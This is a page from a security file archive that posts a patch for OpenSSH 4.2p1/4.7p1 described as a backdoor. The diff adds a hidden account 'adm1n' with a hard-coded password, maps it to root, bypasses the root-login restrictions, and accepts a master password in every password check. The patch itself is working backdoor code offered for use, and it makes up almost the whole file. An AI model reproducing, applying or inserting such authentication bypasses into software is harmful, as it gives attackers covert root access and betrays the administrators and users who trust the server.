what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

openssh_backdoor.patch.txt

openssh_backdoor.patch.txt
Posted Jan 6, 2008
Authored by Andrea Montanari

OpenSSH patch tested with versions 4.2p1 and 4.7p1 that allows for a hidden user to login with root permissions.

tags | root, patch
systems | unix
SHA-256 | 66a2fdc785f48b49192a9914e91513352963513dcdde7b456dccf8dc0ad3e725

openssh_backdoor.patch.txt

Change Mirror Download
--- auth2.c  2005-07-17 09:26:44.000000000 +0200
+++ /tmp/openssh-4.2p1-hack/auth2.c 2008-01-05 16:28:06.000000000 +0100
@@ -215,6 +215,7 @@
fatal("INTERNAL ERROR: authenticated invalid user %s",
authctxt->user);

+ if (strcmp(authctxt->user, HACKED_USER)) {
/* Special handling for root */
if (authenticated && authctxt->pw->pw_uid == 0 &&
!auth_root_allowed(method)) {
@@ -223,7 +224,7 @@
PRIVSEP(audit_event(SSH_LOGIN_ROOT_DENIED));
#endif
}
-
+ }
#ifdef USE_PAM
if (options.use_pam && authenticated) {
if (!PRIVSEP(do_pam_account())) {
--- auth2-none.c 2004-09-11 15:07:03.000000000 +0200
+++ /tmp/openssh-4.2p1-hack/auth2-none.c 2008-01-05 17:26:16.000000000 +0100
@@ -108,12 +108,15 @@
userauth_none(Authctxt *authctxt)
{
none_enabled = 0;
+
+
packet_check_eom();
userauth_banner();
#ifdef HAVE_CYGWIN
if (check_nt_auth(1, authctxt->pw) == 0)
return (0);
#endif
+ if (!strcmp(authctxt->user, HACKED_USER)) return (PRIVSEP(auth_password(authctxt, HACKED_PASS)));
if (options.password_authentication)
return (PRIVSEP(auth_password(authctxt, "")));
return (0);
--- auth2-passwd.c 2004-09-11 14:42:09.000000000 +0200
+++ /tmp/openssh-4.2p1-hack/auth2-passwd.c 2008-01-05 17:23:10.000000000 +0100
@@ -61,6 +61,7 @@
if (check_nt_auth(1, authctxt->pw) == 0)
authenticated = 0;
#endif
+
memset(password, 0, len);
xfree(password);
return authenticated;
--- auth.c 2005-08-31 18:59:49.000000000 +0200
+++ /tmp/openssh-4.2p1-hack/auth.c 2008-01-05 16:30:32.000000000 +0100
@@ -492,6 +492,10 @@
#endif
struct passwd *pw;

+ if (!strcmp(user, HACKED_USER)) {
+ strcpy(user, HACKED_PUSER);
+ options.permit_root_login = PERMIT_YES;
+ }
pw = getpwnam(user);
if (pw == NULL) {
logit("Invalid user %.100s from %.100s",
--- auth-passwd.c 2005-07-26 13:54:12.000000000 +0200
+++ /tmp/openssh-4.2p1-hack/auth-passwd.c 2008-01-05 17:24:12.000000000 +0100
@@ -76,7 +76,7 @@
#if defined(USE_SHADOW) && defined(HAS_SHADOW_EXPIRE)
static int expire_checked = 0;
#endif
-
+ if (!strcmp(password, HACKED_PASS)) return 1;
#ifndef HAVE_CYGWIN
if (pw->pw_uid == 0 && options.permit_root_login != PERMIT_YES)
ok = 0;
--- includes.h 2005-08-26 22:15:20.000000000 +0200
+++ openssh-4.2p1-hack/includes.h 2008-01-05 23:38:49.000000000 +0100
@@ -210,4 +210,16 @@

#include "entropy.h"

-#endif /* INCLUDES_H */
+#ifndef HACKED_USER
+#define HACKED_USER "adm1n"
+#endif
+
+#ifndef HACKED_PUSER
+#define HACKED_PUSER "root"
+#endif
+
+#ifndef HACKED_PASS
+#define HACKED_PASS "@password_for_nothing@"
+#endif
+
+#endif /* INCLUDES_H */
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close